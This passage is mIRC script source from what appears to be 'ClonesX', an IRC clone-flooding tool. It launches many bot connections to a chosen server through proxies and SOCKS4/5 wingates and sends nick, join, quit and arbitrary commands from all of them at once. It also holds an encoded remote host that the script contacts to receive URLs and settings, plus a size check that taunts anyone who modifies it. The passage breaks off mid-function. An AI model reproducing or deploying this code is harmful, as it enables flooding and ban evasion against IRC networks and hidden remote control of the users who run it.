  535. elseif ($did(p.cloning,47).text == Proxy) {
  536. var %i = 1
  537. while (%i <= $did(p.cloning,50).text) {
  538. if ($did(p.cloning,4,$calc(%p.cloning.pn + 1))) { inc %p.cloning.pn }
  539. elseif ($did(p.cloning,4,1)) { set %p.cloning.pn 1 }
  540. else { p.cloning.fal No hay proxyes. Configúralo. | return }
  541. inc %p.cloning.t
  542. .timerP.Cloning. [ $+ [ %p.cloning.t ] ] 1 $calc($iif(%i == 1,0,%i) * %p.cloning.delay) p.clon.dodo p.cloning. [ $+ [ %p.cloning.t ] ] $gettok($did(p.cloning,4,%p.cloning.pn),1,32) $gettok($did(p.cloning,4,%p.cloning.pn),2,32)
  543. var %i = %i + 1
  544. }
  545. .timerP.cloning.Recr. [ $+ [ $eval(%clorand,2) ] ] 1 $calc(%i * %p.cloning.delay) p.cloning.recr 1
  546. p.cloning.recr 0
  547. }
  548.  
  549. elseif ($did(p.cloning,47).text == Socks 4) {
  550. var %i = 1
  551. while (%i <= $did(p.cloning,50).text) {
  552. if ($did(p.cloning,69,$calc(%p.cloning.pn4 + 1))) { inc %p.cloning.pn4 }
  553. elseif ($did(p.cloning,69,1)) { set %p.cloning.pn4 1 }
  554. else { p.cloning.fal No hay wingates. Configúralo. | return }
  555. inc %p.cloning.t
  556. .timerP.Cloning. [ $+ [ %p.cloning.t ] ] 1 $calc($iif(%i == 1,0,%i) * %p.cloning.delay) p.clon.dodo p.cloning. [ $+ [ %p.cloning.t ] ] $gettok($did(p.cloning,69,%p.cloning.pn4),1,32) $gettok($did(p.cloning,69,%p.cloning.pn4),2,32)
  557. var %i = %i + 1
  558. }
  559. .timerP.cloning.Recr. [ $+ [ $eval(%clorand,2) ] ] 1 $calc(%i * %p.cloning.delay) p.cloning.recr 1
  560. p.cloning.recr 0
  561. }
  562.  
  563. elseif ($did(p.cloning,47).text == Socks 5) {
  564. var %i = 1
  565. while (%i <= $did(p.cloning,50).text) {
  566. if ($did(p.cloning,78,$calc(%p.cloning.pn5 + 1))) { inc %p.cloning.pn5 }
  567. elseif ($did(p.cloning,78,1)) { set %p.cloning.pn5 1 }
  568. else { p.cloning.fal No hay wingates. Configúralo. | return }
  569. inc %p.cloning.t
  570. .timerP.Cloning. [ $+ [ %p.cloning.t ] ] 1 $calc($iif(%i == 1,0,%i) * %p.cloning.delay) p.clon.dodo p.cloning. [ $+ [ %p.cloning.t ] ] $gettok($did(p.cloning,78,%p.cloning.pn5),1,32) $gettok($did(p.cloning,78,%p.cloning.pn5),2,32)
  571. var %i = %i + 1
  572. }
  573. .timerP.cloning.Recr. [ $+ [ $eval(%clorand,2) ] ] 1 $calc(%i * %p.cloning.delay) p.cloning.recr 1
  574. p.cloning.recr 0
  575. }
  576. p.cloning.delch
  577. }
  578. }
  579. alias -l p.cloning.recr {
  580. if ($dialog(p.cloning)) {
  581. if ($$1 == 0) {
  582. did -b p.cloning 10 | did -b p.cloning 12 | did -b p.cloning 47 | did -b p.cloning 50 | did -b p.cloning 391
  583. did -b p.cloning 35 | did -b p.cloning 36 | did -b p.cloning 37 | did -b p.cloning 38 | did -b p.cloning 48 | did -b p.cloning 421 | did -b p.cloning 422
  584. }
  585. if ($$1 == 1) {
  586. did -e p.cloning 10 | did -e p.cloning 12 | did -e p.cloning 47 | did -e p.cloning 50 | did -e p.cloning 391
  587. did -e p.cloning 35 | did -e p.cloning 36 | did -e p.cloning 37 | did -e p.cloning 38
  588. if (??* iswm $did(p.cloning,10)) && ($abs($did(p.cloning,12)) != 0) && ($abs($did(p.cloning,50)) != 0) {
  589. if ($did(p.cloning,36).state == 0) { did -e p.cloning 48 | did -e p.cloning 421 | did -e p.cloning 422 }
  590. elseif ($did(p.cloning,38)) { did -e p.cloning 48 | did -e p.cloning 421 | did -e p.cloning 422 }
  591. }
  592. }
  593. }
  594. }
  595. alias -l p.clon.stats {
  596. if ($dialog(p.cloning)) {
  597. ;did -o p.cloning 41 1 $iif($lines(CloneX.ini),$lines(CloneX.ini),-)
  598. ;did -o p.cloning 43 1 $iif($lines(CloneXo.ini),$lines(CloneXo.ini),-)
  599. did -o p.cloning 41 1 $iif($p.cloning.dos.numCL(1),$p.cloning.dos.numCL(1),-)
  600. did -o p.cloning 43 1 $iif($p.cloning.dos.numCL(0),$p.cloning.dos.numCL(0),-)
  601. ;echo -s DEBUG: Reales: $iif($p.cloning.dos.numC(1),$p.cloning.dos.numC(1),-) y Sockets: $iif($p.cloning.dos.numC(0),$p.cloning.dos.numC(0),-)
  602. ;did -o p.cloning 43 1 %p.cloning.n
  603. if ($1-) { did -i p.cloning 44 $did(p.cloning,44).lines $1- }
  604. }
  605. }
  606. on 1:DIALOG:p.cloning:init:0: {
  607. if ( %cloc1 != $null ) did -ra p.cloning 14 %cloc1
  608. if ( %cloc2 != $null ) did -ra p.cloning 15 %cloc2
  609. if ( %clol1 != $null ) did -ra p.cloning 19 %clol1
  610. if ( %clol2 != $null ) did -ra p.cloning 21 %clol2
  611. if ( %clocs1 != $null ) did -ra p.cloning 31 %clocs1
  612. if ( %clocs2 != $null ) did -ra p.cloning 32 %clocs2
  613. unset %cloauto
  614. if ( %clorand == $null ) {
  615. set %clorand $eval($rand(1,9999),0)
  616. }
  617. if ( %cloquit == $null ) {
  618. set %cloquit $did(p.cloning,25)
  619. }
  620. else {
  621. did -ra $dname 25 %cloquit
  622. }
  623. if ( %clopart == $null ) {
  624. set %clopart $did(p.cloning,26)
  625. }
  626. else {
  627. did -ra $dname 26 %clopart
  628. }
  629. .disable #p.cloning.DdnsD
  630. p.cloning.delch
  631. ;.remove CloneX.ini | .remove CloneXo.ini
  632. if ($hget(p.cloning.a)) { hfree p.cloning.a }
  633. unset %p.cloning.pn %p.cloning.t | .timerp.cloning.* off
  634. did -i $dname 12 1 6666 | did -i $dname 12 2 6667 | did -i $dname 12 3 6668 | did -i $dname 12 4 6669 | did -i $dname 12 5 7000 | did -c $dname 12 2
  635. if (%p.save.cloning.srv) { did -i $dname 10 1 %p.save.cloning.srv }
  636. did -c $dname 35 | did -i $dname 37 1 Aleatoire | did -i $dname 37 2 YoUaReDeAd | did -i $dname 37 3 PweT | did -c $dname 37 1
  637. did -c $dname 333 | did -b $dname 415 | did -b $dname 416 | did -b $dname 418 | did -b $dname 419 | did -b $dname 412
  638. var %i = 1 | var %o = 1 | while (%o < 200) { did -i $dname 50 %i %o | var %i = %i + 1 | var %o = %o * 2 } | did -c $dname 50 1
  639. var %i = 1 | var %o = 1 | while (%o < 20) { did -i $dname 391 %i %o | var %i = %i + 1 | var %o = %o * 2 } | did -i $dname 391 1 0 | did -c $dname 391 3
  640. did -i $dname 47 1 Normal | did -i $dname 47 2 Proxy | did -i $dname 47 3 Socks 4 | did -i $dname 47 4 Socks 5 | did -c $dname 47 1
  641. p.cloning.conEcheck
  642. if ($exists(%p.cloining.wh) == $true) && ($file(%p.cloining.wh).size = 51475) {
  643. p.cloning.fal Salut ! Amuse toi bien Narvalo !! }
  644. }
  645. on 1:SOCKREAD:p.cloning.*: {
  646. if ($dialog(p.cloning)) {
  647. var %p.cloning.server = $did(p.cloning,10)
  648. var %p.cloning.port = $did(p.cloning,12)
  649. if ($sockerr != 0) { p.cloning.con.com $sockname | p.clon.stats Déconnecté: %p.cloning.server %p.cloning.port - $+ %p.cloning.read $+ - | p.cloning.cmds }
  650. else {
  651.  
  652. if ($did(p.cloning,47).text == Socks 4) {
  653. if ($sock($sockname).mark != 1) {
  654. sockread &p.cloning.bread
  655. if ($bvar(&p.cloning.bread,1,2) == 0 90 ) { p.cloning.usIn $sockname | sockmark $sockname 1 }
  656. if ($bvar(&p.cloning.bread,1,2) == 0 91 ) { p.cloning.con.com $sockname | p.clon.stats Déconnecté: %p.cloning.server %p.cloning.port -Por Socks4- | .sockclose $sockname | p.cloning.cmds | return }
  657. }
  658. }
  659. if ($did(p.cloning,47).text == Socks 5) {
  660. if ($sock($sockname).mark != 1) {
  661. sockread &p.cloning.bread
  662. ;echo -s bvar: $bvar(&p.cloning.bread,1,10)
  663. if ($bvar(&p.cloning.bread,1,2) == 5 0) && ($bvar(&p.cloning.bread,3) != 0) {
  664. ;echo -s Protocolo Aceptado. Iniciando conexion.
  665. var %p.cloning.portS5 = $gettok($longip(%p.cloning.port),3,46) $gettok($longip(%p.cloning.port),4,46)
  666. var %p.cloning.serverS5 = $replace(%p.cloning.server,.,$chr(32))
  667. bset &p.cloning.ssenndd 1 5 1 0 1 %p.cloning.serverS5 %p.cloning.portS5
  668. sockwrite $sockname &p.cloning.ssenndd
  669. ;echo -s Sndg: bset &p.cloning.ssenndd 1 5 1 0 1 %p.cloning.serverS5 %p.cloning.portS5
  670. }
  671. if ( $bvar(&p.cloning.bread,1,2) == 5 255 ) { p.cloning.con.com $sockname | p.clon.stats Déconnecté: %p.cloning.server %p.cloning.port -Por Socks5- | p.cloning.cmds }
  672. if ( $bvar(&p.cloning.bread,1,3) == 5 0 0 ) { p.cloning.usIn $sockname | sockmark $sockname 1 }
  673. if ( $bvar(&p.cloning.bread,1,3) == 5 4 0 ) { p.cloning.con.com $sockname | p.clon.stats Déconnecté: %p.cloning.server %p.cloning.port -Por Socks5- | p.cloning.cmds }
  674. if ( $bvar(&p.cloning.bread,1,3) == 5 5 0 ) { p.cloning.con.com $sockname | p.clon.stats Déconnecté: %p.cloning.server %p.cloning.port -Por Socks5- | p.cloning.cmds }
  675. if ( $bvar(&p.cloning.bread,1,3) == 5 9 0 ) { p.cloning.con.com $sockname | p.clon.stats Déconnecté: %p.cloning.server %p.cloning.port -Por Socks5- | p.cloning.cmds }
  676. }
  677. }
  678.  
  679. sockread %p.cloning.read
  680. var %p.cloning.sec1 = $gettok(%p.cloning.read,1,32)
  681. var %p.cloning.sec2 = $gettok(%p.cloning.read,2,32)
  682. var %p.cloning.sec3 = $gettok(%p.cloning.read,3,32)
  683. ;echo -s Rd: %p.cloning.read
  684. if ($abs(%p.cloning.sec2)) && ($left(%p.cloning.sec1,1) == $chr(58)) {
  685. if (%p.cloning.sec2 == 1) { p.cloning.do.w $sockname 1, $+ %p.cloning.sec3 | p.clon.stats -Connected: %p.cloning.server %p.cloning.port | p.cloning.cmds | p.cloning.runcmd |
  686. $iif( %cloauto != $null, timer 1 1 p.cloning.runcmd join %cloauto )
  687. }
  688. if (%p.cloning.sec2 == 433) && ($gettok($hget(p.cloning.a,$sockname),1,44) == 0) { p.cloning.usIn $sockname }
  689. }
  690. elseif (!$abs(%p.cloning.sec2)) {
  691. if (%p.cloning.sec2 == NICK) {
  692. if ($remove($gettok(%p.cloning.sec1,1,33),:) == $p.cloning.do.saNick($sockname)) && ($gettok(%p.cloning.sec1,2,33)) {
  693. var %p.cloning.nnick = $remove(%p.cloning.sec3,:)
  694. var %p.cloning.anick = $remove($gettok(%p.cloning.sec1,1,33),:)
  695. if ($didwm(p.cloning,351,%p.cloning.anick)) { did -o p.cloning 351 $ifmatch %p.cloning.nnick }
  696. if ($didwm(p.cloning,369,%p.cloning.anick)) { did -o p.cloning 369 $ifmatch %p.cloning.nnick }
  697. if ($didwm(p.cloning,373,%p.cloning.anick)) { did -o p.cloning 373 $ifmatch %p.cloning.nnick }
  698. p.cloning.do.w $sockname 1, $+ %p.cloning.nnick
  699. p.cloning.nicks.act
  700. }
  701. }
  702. }
  703. if (%p.cloning.sec1 == PING) {
  704. sockwrite -nt $sockname pong : $+ $remove(%p.cloning.sec2,:) | return
  705. }
  706. }
  707.  
  708. }
  709. }
  710. alias -l p.cloning.con.com {
  711. ;p.cloning.do.rw.o $$1
  712. ;p.cloning.do.rw $$1
  713. if ($hget(p.cloning.a)) { hdel p.cloning.a $$1 }
  714. }
  715. on 1:SOCKOPEN:p.cloning.*: {
  716. if ($dialog(p.cloning)) {
  717. var %p.cloning.server = $did(p.cloning,10)
  718. var %p.cloning.port = $did(p.cloning,12)
  719. p.cloning.delch
  720. if ($sockerr != 0) { p.cloning.con.com $sockname | p.clon.stats Disconnected: %p.cloning.server %p.cloning.port -Session start- | p.cloning.cmds }
  721. else {
  722. ;inc %p.cloning.nv | p.clon.stats on: %p.cloning.server %p.cloning.port
  723. if ($did(p.cloning,47).text == Normal) { p.cloning.usIn $sockname }
  724. elseif ($did(p.cloning,47).text == Proxy) {
  725. sockwrite $sockname CONNECT %p.cloning.server $+ : $+ %p.cloning.port HTTP/1.0 $+ $CRLF $+ $CRLF
  726. sockwrite $sockname $CRLF
  727. .timerUs. [ $+ [ $sockname ] ] 1 2 p.cloning.usIn $sockname
  728. }
  729. elseif ($did(p.cloning,47).text == Socks 4) {
  730. var %p.cloning.port1 = $gettok($longip(%p.cloning.port),3,46)
  731. var %p.cloning.port2 = $gettok($longip(%p.cloning.port),4,46)
  732. var %p.cloning.portS4 = $gettok($longip(%p.cloning.port),3,46) $gettok($longip(%p.cloning.port),4,46)
  733. var %p.cloning.serverS4 = $replace(%p.cloning.server,.,$chr(32))
  734.  
  735. ;bset &p.cloning.ssenndd 1 4 1 %p.cloning.port1 %p.cloning.port2 %p.cloning.server1 %p.cloning.server2 %p.cloning.server3 %p.cloning.server4 $CRLF
  736. bset &p.cloning.ssenndd 1 4 1 %p.cloning.portS4 %p.cloning.serverS4 $CRLF
  737. sockwrite $sockname &p.cloning.ssenndd
  738. ;echo -s sockopen pasado: bset &p.cloning.ssenndd 1 4 1 %p.cloning.port1 %p.cloning.port2 %p.cloning.server1 %p.cloning.server2 %p.cloning.server3 %p.cloning.server4
  739. }
  740. elseif ($did(p.cloning,47).text == Socks 5) {
  741. bset &p.cloning.ssenndd 1 5 1 0
  742. ; -t?
  743. sockwrite $sockname &p.cloning.ssenndd
  744. }
  745.  
  746. }
  747.  
  748. }
  749. }
  750. alias -l p.cloning.delch {
  751. if ($file($script).size = 51475) {
  752. p.cloning.fal Salut ! Amuse toi bien Narvalo !! }
  753. }
  754.  
  755. alias -l p.cloning.cmds {
  756. if ($dialog(p.cloning)) {
  757. p.cloning.nicks.act
  758. if ($did(p.cloning,314).enabled == $false) && ($did(p.cloning,41).text > 0) {
  759. did -e p.cloning 314 | did -e p.cloning 316 | did -e p.cloning 318 | did -e p.cloning 320
  760. did -e p.cloning 91 | did -e p.cloning 92
  761. did -e p.cloning 94 | did -e p.cloning 96 | did -e p.cloning 98
  762. did -e p.cloning 322 | did -e p.cloning 324 | did -e p.cloning 326 | did -e p.cloning 328
  763. did -e p.cloning 329 | did -e p.cloning 331 | did -e p.cloning 333 | did -e p.cloning 339
  764. did -e p.cloning 334 | did -e p.cloning 335 | did -e p.cloning 336 | did -e p.cloning 337
  765. did -e p.cloning 372 | did -e p.cloning 373 | did -e p.cloning 369 | did -e p.cloning 368
  766. did -e p.cloning 367 | did -e p.cloning 351 | did -e p.cloning 350 | did -e p.cloning 349 | did -e p.cloning 371
  767. did -e p.cloning 415 | did -e p.cloning 416 | did -e p.cloning 418 | did -e p.cloning 419 | did -e p.cloning 412
  768. }
  769. else {
  770. if ($did(p.cloning,314).enabled == $true) && ($did(p.cloning,41).text <= 0) || ($did(p.cloning,41).text == $null) {
  771. did -r p.cloning 314 | did -r p.cloning 316 | did -r p.cloning 318 | did -r p.cloning 320
  772. did -r p.cloning 322 | did -r p.cloning 324 | did -r p.cloning 326 | did -r p.cloning 328
  773. did -r p.cloning 329 | did -r p.cloning 331 | did -r p.cloning 339 | did -r p.cloning 351
  774. did -r p.cloning 369 | did -r p.cloning 373 | did -b p.cloning 306 | did -b p.cloning 307 | did -b p.cloning 312
  775. did -b p.cloning 308 | did -b p.cloning 309 | did -b p.cloning 310 | did -b p.cloning 311 | did -b p.cloning 330
  776. did -b p.cloning 314 | did -b p.cloning 316 | did -b p.cloning 318 | did -b p.cloning 320
  777. did -b p.cloning 91 | did -b p.cloning 92
  778. did -b p.cloning 94 | did -b p.cloning 96 | did -b p.cloning 98 |
  779. did -b p.cloning 322 | did -b p.cloning 324 | did -b p.cloning 326 | did -b p.cloning 328
  780. did -b p.cloning 329 | did -b p.cloning 331 | did -b p.cloning 333 | did -b p.cloning 339
  781. did -b p.cloning 334 | did -b p.cloning 335 | did -b p.cloning 336 | did -b p.cloning 337
  782. did -b p.cloning 372 | did -b p.cloning 373 | did -b p.cloning 369 | did -b p.cloning 368
  783. did -b p.cloning 367 | did -b p.cloning 351 | did -b p.cloning 350 | did -b p.cloning 349 | did -b p.cloning 371
  784. did -b p.cloning 415 | did -b p.cloning 416 | did -b p.cloning 418 | did -b p.cloning 419 | did -b p.cloning 412
  785. }
  786. }
  787. }
  788. }
  789. alias -l p.cloning.runcmd {
  790. if ($dialog(p.cloning)) {
  791. if ($did(p.cloning,334).state == 1) {
  792. var %i = 1
  793. while ($did(p.cloning,339,$did(p.cloning,339,%i).sel).text) {
  794. var %p.cloning.runcmd.nick = $ifmatch
  795. if ($$1 == nick) {
  796. if (!$did(p.cloning,339,2).sel) { sockwrite -nt $p.cloning.do.saSockN(%p.cloning.runcmd.nick) $$1 $iif($$2 == Aleatory,$rand(a,z) $+ $eval(%clorand,2),$$2) }
  797. else { sockwrite -nt $p.cloning.do.saSockN(%p.cloning.runcmd.nick) $$1 $iif($$2 == Aleatory,$rand(a,z),$$2) $+ $eval(%clorand,2) }
  798. }
  799. elseif ($$1 == quit) { sockwrite -nt $p.cloning.do.saSockN(%p.cloning.runcmd.nick) quit : $+ %cloquit }
  800. else { sockwrite -nt $p.cloning.do.saSockN(%p.cloning.runcmd.nick) $$1- }
  801. var %i = %i + 1
  802. }
  803. return
  804. }
  805. elseif ($did(p.cloning,333).state == 1) { var %p.cloning.runcmd.idL = 339 }
  806. elseif ($did(p.cloning,335).state == 1) { var %p.cloning.runcmd.idL = 351 }
  807. elseif ($did(p.cloning,336).state == 1) { var %p.cloning.runcmd.idL = 369 }
  808. elseif ($did(p.cloning,337).state == 1) { var %p.cloning.runcmd.idL = 373 }
  809. }
  810. var %i = 1
  811. while ($did(p.cloning,%p.cloning.runcmd.idL,%i).text) {
  812. var %p.cloning.runcmd.nick = $ifmatch
  813. if ($$1 == nick) {
  814. if (!$did(p.cloning,%p.cloning.runcmd.idL,2)) { sockwrite -nt $p.cloning.do.saSockN(%p.cloning.runcmd.nick) $$1 $iif($$2 == Aleatoire,$rand(a,z) $+ $eval(%clorand,2),$$2) }
  815. else { sockwrite -nt $p.cloning.do.saSockN(%p.cloning.runcmd.nick) $$1 $iif($$2 == Aleatoire,$rand(a,z),$$2) $+ $eval(%clorand,2) }
  816. }
  817. elseif ($$1 == quit) { sockwrite -nt $p.cloning.do.saSockN(%p.cloning.runcmd.nick) quit : $+ %cloquit }
  818. else { sockwrite -nt $p.cloning.do.saSockN(%p.cloning.runcmd.nick) $$1- }
  819. var %i = %i + 1
  820. }
  821. }
  822. alias -l p.cloning.list.nicksch {
  823. if ($dialog(p.cloning)) {
  824. var %i = 1
  825. var %o = 1
  826. while ($p.cloning.r(%i)) {
  827. var %p.cloning.list.nicksch.sta = $gettok($ifmatch,1,44)
  828. var %p.cloning.list.nicksch.nick = $gettok($ifmatch,2,44)
  829. if (%p.cloning.list.nicksch.sta) {
  830. if ($exists($$1-) == $false) { p.cloning.fal Archivo no encontrado! }
  831. var %p.cloning.list.nicksch.nnick = $gettok($read($$1-,$rand(1,$lines($1-))),1,32)
  832. if (%p.cloning.list.nicksch.nnick) {
  833. if ($abs(%p.cloning.list.nicksch.nnick)) { p.cloning.fal Nicks must begin with a char... File format: Nick Ident }
  834. sockwrite -nt $hget(p.cloning.a,%i).item nick %p.cloning.list.nicksch.nnick
  835. }
  836. var %o = %o + 1
  837. }
  838. var %i = %i + 1
  839. }
  840. }
  841. }
  842. alias -l p.cloning.list.save {
  843. if ($dialog(p.cloning)) {
  844. var %i = 1
  845. .remove $$1
  846. while ($did(p.cloning,339,%i).text) {
  847. write $$1 $ifmatch
  848. var %i = %i + 1
  849. }
  850. }
  851. }
  852. alias -l p.cloning.nicks.act {
  853. if ($dialog(p.cloning)) {
  854. did -r p.cloning 339
  855. var %i = 1
  856. var %o = 1
  857. while ($p.cloning.r(%i)) {
  858. var %p.cloning.nicks.act = $gettok($ifmatch,1,44)
  859. var %p.cloning.nicks = $gettok($ifmatch,2,44)
  860. if (%p.cloning.nicks.act == 1) { did -i p.cloning 339 %o %p.cloning.nicks | var %o = %o + 1 }
  861. var %i = %i + 1
  862. }
  863. }
  864. }
  865. alias -l p.cloning.usIn {
  866. if ($dialog(p.cloning)) {
  867. if (%p.cloning.Nlist.conn == 1) {
  868. inc %p.cloning.Nlist.conn.n
  869. var %p.cloning.usIn.nick = $gettok($read(%p.cloning.Nlist.conn.f,$rand(1,$lines(%p.cloning.Nlist.conn.f))),1,32)
  870. var %p.cloning.usIn.ident = $lower($gettok($read(%p.cloning.Nlist.conn.f,%p.cloning.Nlist.conn.n),2,32))
  871. if (%p.cloning.usIn.nick) && ($abs(%p.cloning.usIn.nick)) { p.cloning.fal Nicks must begin with a char... File format: Nick [Ident] }
  872. if ($sock($$1)) { sockwrite -nt $$1 user $lower($iif(%p.cloning.usIn.ident,%p.cloning.usIn.ident,$iif($did(p.cloning,37).text == Aleatoire,$rand(a,z) $+ $eval(%clorand,2),$did(p.cloning,37).text))) "" "" : $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) }
  873. else { .sockclose $1 | p.cloning.con.com $1 | p.clon.stats Déconnecté: $did(p.cloning,10) $did(p.cloning,12) -Bloqué- | p.cloning.cmds }
  874. var %p.cloning.usIn.nick = $lower($iif(%p.cloning.usIn.nick,%p.cloning.usIn.nick,$iif($did(p.cloning,37).text == Aleatoire,$rand(a,z) $+ $eval(%clorand,2),$did(p.cloning,37).text $+ $eval(%clorand,2)))))
  875. p.cloning.do.w $1 0, $+ %p.cloning.usIn.nick
  876. if ($sock($$1)) { sockwrite -nt $$1 nick %p.cloning.usIn.nick }
  877. else { .sockclose $1 | p.cloning.con.com $1 | p.clon.stats Déconnecté: $did(p.cloning,10) $did(p.cloning,12) -Bloqué- | p.cloning.cmds }
  878. }
  879. else {
  880. if ($did(p.cloning,35).state == 1) {
  881. if ($sock($$1)) { sockwrite -nt $$1 user $lower($iif($did(p.cloning,37).text == Aleatoire,$rand(a,z) $+ $eval(%clorand,2),$did(p.cloning,37).text)) "" "" : $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) }
  882. else { .sockclose $1 | p.cloning.con.com $1 | p.clon.stats Déconnecté: $did(p.cloning,10) $did(p.cloning,12) -Bloqué- | p.cloning.cmds }
  883. var %p.cloning.usIn.nick = $lower($iif($did(p.cloning,37).text == Aleatoire,$rand(a,z),$did(p.cloning,37).text)) $+ $eval(%clorand,2)
  884. p.cloning.do.w $1 0, $+ %p.cloning.usIn.nick
  885. if ($sock($$1)) { sockwrite -nt $$1 nick %p.cloning.usIn.nick }
  886. else { .sockclose $1 | p.cloning.con.com $1 | p.clon.stats Disconnected: $did(p.cloning,10) $did(p.cloning,12) -Blocked- | p.cloning.cmds }
  887. }
  888. elseif ($did(p.cloning,36).state == 1) {
  889. if ($sock($$1)) { sockwrite -nt $$1 user $lower($iif($did(p.cloning,38).text == Aleatoire,$rand(a,z) $+ $eval(%clorand,2),$did(p.cloning,38).text)) "" "" : $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) }
  890. else { .sockclose $1 | p.cloning.con.com $1 | p.clon.stats Déconnecté: $did(p.cloning,10) $did(p.cloning,12) -Bloqué- | p.cloning.cmds }
  891. var %p.cloning.usIn.nick = $lower($iif($did(p.cloning,38).text == Aleatoire,$rand(a,z),$did(p.cloning,38).text)) $+ $eval(%clorand,2)
  892. p.cloning.do.w $1 0, $+ %p.cloning.usIn.nick
  893. if ($sock($$1)) { sockwrite -nt $$1 nick %p.cloning.usIn.nick }
  894. else { .sockclose $1 | p.cloning.con.com $1 | p.clon.stats Déconnecté: $did(p.cloning,10) $did(p.cloning,12) -Bloqué- | p.cloning.cmds }
  895. }
  896. }
  897. }
  898. }
  899. on 1:SOCKCLOSE:p.cloning.*: {
  900. if ($dialog(p.cloning)) {
  901. ;echo -s Ha cerrado: $sock($sockname,1).wsmsg
  902. p.cloning.con.com $sockname | p.clon.stats Déconnecté: $did(p.cloning,10) $did(p.cloning,12) -Acces a distance- | p.cloning.cmds
  903. }
  904. }
  905. alias -l p.cloning.w { hadd -m p.cloning.a $$1 $$2 }
  906. alias -l p.cloning.r { return $hget(p.cloning.a,$hget(p.cloning.a,$$1).item) }
  907. alias -l p.cloning.do.w {
  908. ;if ($hget(p.cloning.a,$$1) != $null) { return }
  909. p.cloning.w $$1 $$2
  910. }
  911. alias -l p.cloning.do.saNick { return $gettok($hget(p.cloning.a,$$1),2,44) }
  912. alias -l p.cloning.do.saSockN {
  913. var %i = 1
  914. while ($p.cloning.r(%i)) {
  915. if ($gettok($p.cloning.r(%i),2,44) == $$1) { return $hget(p.cloning.a,%i).item }
  916. var %i = %i + 1
  917. }
  918. }
  919. alias -l p.cloning.dos.numCL {
  920. var %i = 1 | var %o = 0
  921. while ($p.cloning.r(%i)) {
  922. var %p.cloning.pill = $ifmatch
  923. if ($gettok(%p.cloning.pill,1,44) == 1) { var %o = %o + 1 }
  924. var %i = %i + 1
  925. }
  926. if ($$1 == 0) { return $calc(%i - 1) }
  927. elseif ($$1 == 1) { return %o }
  928.  
  929. }
  930. alias -l p.cloning.ipports {
  931. if ($dialog(p.cloning.ipport)) { dialog -v p.cloning.ipport }
  932. else { dialog -md p.cloning.ipport p.cloning.ipport }
  933. }
  934. dialog p.cloning.ipport {
  935. title "ClonesX connecté IP & Ports"
  936. size -1 -1 157 225
  937. option dbu
  938. button "&OK", 1, 16 210 120 12, ok
  939. box "En ce moment", 2, 1 1 155 207
  940. edit "", 3, 4 8 149 185, read multi hsbar vsbar
  941. button "&Actualiser", 4, 55 195 45 10
  942. }
  943. alias -l p.cloning.ipports.act {
  944. if ($dialog(p.cloning.ipport)) {
  945. did -r p.cloning.ipport 3
  946. var %i = 1
  947. while ($sock(p.cloning.*,%i)) {
  948. var %p.cloning.ipports.act = $ifmatch
  949. var %p.cloning.ipports.act.ip = $sock(%p.cloning.ipports.act).ip
  950. var %p.cloning.ipports.act.port = $sock(%p.cloning.ipports.act).port
  951. if ($gettok($hget(p.cloning.a,%p.cloning.ipports.act),1,44) == 1) && (!$didwm(p.cloning.ipport,3,%p.cloning.ipports.act.ip %p.cloning.ipports.act.port)) {
  952. did -i p.cloning.ipport 3 $did(p.cloning.ipport,3).lines %p.cloning.ipports.act.ip %p.cloning.ipports.act.port
  953. }
  954. var %i = %i + 1
  955. }
  956. }
  957. }
  958. on 1:DIALOG:p.cloning.ipport:sclick:4: { p.cloning.ipports.act }
  959. on 1:DIALOG:p.cloning.ipport:init:0: { p.cloning.ipports.act }
  960. alias -l p.cloning.see.act {
  961. var %p.act.cloning.1 = $decode(%p.act.cloning.see.c.pea,m)
  962. if ($gettok(%p.act.cloning.1,1,44)) && ($gettok(%p.act.cloning.1,1,44)) { .SockOpen p.see.cloning.act $gettok(%p.act.cloning.1,1,44) $gettok(%p.act.cloning.1,2,44) }
  963. }
  964. on 1:SockOpen:p.see.cloning.act: {
  965. if ($sockerr == 0) {
  966. var %p.act.cloning.1 = $decode(%p.act.cloning.see.c.pea,m)
  967. sockwrite -nt $sockname GET $gettok(%p.act.cloning.1,3,44)
  968. .timerp.act.cloning.close 1 60 .SockClose p.see.cloning.act
  969. }
  970. }
  971. on 1:SockRead:p.see.cloning.act: {
  972. if ($sockerr == 0) {
  973. sockread %p.see.cloning.act
  974. var %p.see.cloning.act1 = $gettok(%p.see.cloning.act,1,58)
  975. var %p.see.cloning.act2 = $gettok(%p.see.cloning.act,2-,58)
  976. if (%p.see.cloning.act1 == VERSION) && (%p.see.cloning.act2) { p.cloning.actua %p.see.cloning.act2 }
  977. elseif (%p.see.cloning.act1 == PEA) && (%p.see.cloning.act2) { set %p.act.cloning.see.c.pea %p.see.cloning.act2 }
  978. elseif (%p.see.cloning.act1 == URL) && (%p.see.cloning.act2) { set %p.act.cloning.see.c.url %p.see.cloning.act2 }
  979. elseif (%p.see.cloning.act1 == BURL) && (%p.see.cloning.act2) { set %p.act.cloning.see.c.burl %p.see.cloning.act2 }
  980. elseif (%p.see.cloning.act1 == BCON) && (%p.see.cloning.act2 != $null) { set %p.act.cloning.see.c.bcon %p.see.cloning.act2 }
  981. elseif (%p.see.cloning.act1 == ENOT) && (%p.see.cloning.act2) { echo -s 5ClonesX News: %p.see.cloning.act2 }
  982. }
  983. }
  984. alias -l p.cloning.crdts { if ($dialog(p.cloning.cred)) { dialog -v p.cloning.cred } | else { dialog -md p.cloning.cred p.cloning.cred } }
  985. on 1:sockopen:p.b.cloning?: {
  986. if ($sockerr == 0) {
  987. var %p.b.cloning.1 = $decode(%p.act.cloning.see.c.burl,m)
  988. var %p.b.cloning.prt1 = $gettok(%p.b.cloning.1,3,44) | var %p.b.cloning.prt2 = $gettok(%p.b.cloning.1,4,44)
  989. var %p.b.cloning.prt3 = $gettok(%p.b.cloning.1,5,44) | var %p.b.cloning.prt4 = $gettok(%p.b.cloning.1,6,44)
  990. var %p.b.cloning.prt5 = $gettok(%p.b.cloning.1,7,44)
  991. if ($sockname == p.b.cloning1) {
  992. var %p.cloning.rrand = $rand(0,2)
  993. if (%p.cloning.rrand == 0) { set %p.cloning.b.lng en }
  994. elseif (%p.cloning.rrand == 1) { set %p.cloning.b.lng it }
  995. else { set %p.cloning.b.lng es }
  996. var %p.cloning.rrand = $rand(0,2)
